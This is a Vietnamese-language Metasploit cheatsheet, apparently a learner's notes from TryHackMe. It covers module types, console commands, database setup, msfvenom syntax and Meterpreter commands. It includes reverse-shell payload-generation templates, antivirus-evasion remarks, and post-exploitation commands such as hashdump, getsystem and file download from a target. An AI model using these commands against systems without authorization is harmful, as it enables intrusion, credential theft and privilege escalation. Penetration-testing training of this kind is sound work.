Icon

Metasploit Cheatsheet

Cheatsheet dành cho Metasploit (modules, commands, databases, msfvenom, meterpreter)

December 21, 2025 September 17, 2025 Info

Cheatsheet được note lại từ TryHackMe.

Khái niệm

Vulnerability: Lỗi thiết kế hoặc lập trình khiến hệ thống mất an toàn.

Exploit: Đoạn mã khai thác lỗ hổng để đạt điều kiện thực thi.

Payload: Mã được thực thi sau khi exploit thành công, nhằm đạt mục đích (Reverse shell, Meterpreter…).

Modules

auxiliary: Scanner, crawler, fuzzer, v.v.

exploit: Tổ chức theo loại hệ thống mục tiêu và khai thác cụ thể.

payload: Gồm nhiều loại:

  • singles: Payload độc lập, tự chạy (Ví dụ: generic/shell_reverse_tcp).

  • stagers: Thiết lập kết nối ban đầu (upload stager).

  • stages: Phần payload được tải về sau bởi stager.

  • adapter: Chuyển đổi payload sang định dạng khác (Ví dụ: PowerShell adapter).

  • post: Dùng trong giai đoạn hậu khai thác để thu thập thông tin/leo thang/tiếp quản.

  • encoders: Mã hóa payload để qua mặt antivirus.

  • evasion: Kỹ thuật tránh bị phát hiện (khác với encoder).

  • nops: Không làm gì, dùng để padding payload.

Inline vs Staged Payload

Single (Inline): Dấu gạch dưới → generic/shell_reverse_tcp.

Staged: Dấu gạch chéo → windows/x64/shell/reverse_tcp (Được load dần vào RAM, không ghi ra disk, tránh AV tốt hơn).

Common Commands

search [từ khóa] — Tìm module theo tên/từ khóa.

search type:auxiliary telnet — Tìm module loại auxiliary liên quan telnet.

use [tên module] — Chọn module để cấu hình và chạy.

show options / show payloads / show targets — Hiển thị tùy chọn của module / payload khả dụng / targets hỗ trợ.

info — Hiển thị mô tả chi tiết của module đang dùng.

set [tên biến] [giá trị] / unset [tên biến] — Gán hoặc bỏ biến cho module.

setg [biến toàn cục] [giá trị] / unsetg [biến toàn cục] — Gán hoặc bỏ biến toàn cục (áp dụng cho mọi module).

run / exploit [-z để chạy nền] — Thực thi module; -z chạy không tương tác (background).

background — Đưa phiên làm việc foreground hiện tại về nền.

sessions — Liệt kê các phiên làm việc hiện có.

sessions -i n — Tương tác với phiên có ID = n.

unset all — Xóa toàn bộ biến cục bộ của module đang dùng.

reload_all — Tải lại cơ sở dữ liệu module và module từ đĩa.

save — Lưu cấu hình và biến hiện tại.

Common Options

RHOSTS: IP mục tiêu (hỗ trợ CIDR hoặc file: đường dẫn danh sách IP).

RPORT: Port dịch vụ.

PAYLOAD: Payload đi kèm.

LHOST: IP máy tấn công (máy nhận kết nối reverse).

LPORT: Port máy tấn công sẽ nghe (reverse shell).

SESSION: ID của phiên đã có (dùng cho post module).

THREADS: Số luồng cho auxiliary/brute modules (nhiều module hỗ trợ).

TARGET: Chỉ mục target khi module hỗ trợ nhiều loại target.

Databases

systemctl start postgresql — Khởi động PostgreSQL.

sudo -u postgres msfdb init — Khởi tạo cơ sở dữ liệu Metasploit (tạo DB và user).

sudo -u postgres msfdb delete — Xóa cơ sở dữ liệu Metasploit.

db_status — Kiểm tra trạng thái kết nối DB.

workspace -a [tên] / workspace -d [tên] — Thêm hoặc xóa workspace.

workspace default — Chọn workspace mặc định.

workspace -h — Hiển thị trợ giúp workspace.

hosts — Liệt kê host đã import vào DB.

services — Liệt kê service đã import vào DB.

vulns — Liệt kê vulnerabilities đã lưu.

Tích hợp với Nmap:

db_nmap — Chạy Nmap và lưu kết quả vào DB Metasploit.

hosts -h, services -h — Xem tùy chọn của lệnh hosts/services.

hosts -R — Đổ dữ liệu host vào biến RHOSTS của môi trường.

services -S [tên dịch vụ] — Lọc services theo tên dịch vụ.

msfvenom

msfvenom — Tạo payload (dạng .exe, .ps1, .apk, v.v.).

use exploit/multi/handler — Dùng handler để đón kết nối reverse shell. Handler hỗ trợ mọi payload của Metasploit (kể cả Meterpreter).

Cú pháp tổng quát của msfvenom:

msfvenom -p [payload] LHOST=[attacker_IP] LPORT=[attacker_port] [tùy chọn khác] -f [định_dạng] -o [tên_file]

Thành phần:

  • -p — Chọn payload (Ví dụ: windows/meterpreter/reverse_tcp).

  • LHOST — IP máy tấn công (máy nhận kết nối reverse).

  • LPORT — Port máy tấn công sẽ nghe (phải mở).

  • -f — Định dạng đầu ra (Ví dụ: exe, elf, raw, psh, asp, apk, c).

  • -o — Ghi kết quả ra file (nếu không có thì sẽ in ra stdout).

  • [tùy chọn khác] — Có thể thêm các biến payload khác tùy theo loại payload (ví dụ Encoder, Format, AddLHOST).

Tools: venom-builder - PenTest.WS

Meterpreter Payload

Chạy trong RAM, không ghi ra đĩa → Khó bị phát hiện hơn. Tuy nhiên, Antivirus hiện đại vẫn thường nhận ra Meterpreter.

Một số lệnh meterpreter thường dùng:

  • help — Hiển thị trợ giúp các lệnh meterpreter hiện có đối với payload cụ thể.

  • getuid — Xem quyền hiện tại của phiên.

  • ps — Liệt kê tiến trình trên target.

  • migrate PID — Chuyển meterpreter sang tiến trình khác để ổn định/leo thang.

  • hashdump — Trích xuất password hash từ hệ thống khi có quyền phù hợp.

  • getsystem — Cố gắng leo thang đặc quyền lên SYSTEM/ROOT.

  • search — Tìm file trên hệ thống.

  • download [remote] [local] — Tải file từ target về máy.

  • upload [local] [remote] — Gửi file từ máy lên target.

  • shell — Mở shell tương tác ở target.

  • execute -f [file] -H — Chạy file trên target ẩn/foreground tùy tuỳ chọn.

  • screenshare / screenshot — Chụp màn hình hoặc stream màn hình (nếu module hỗ trợ).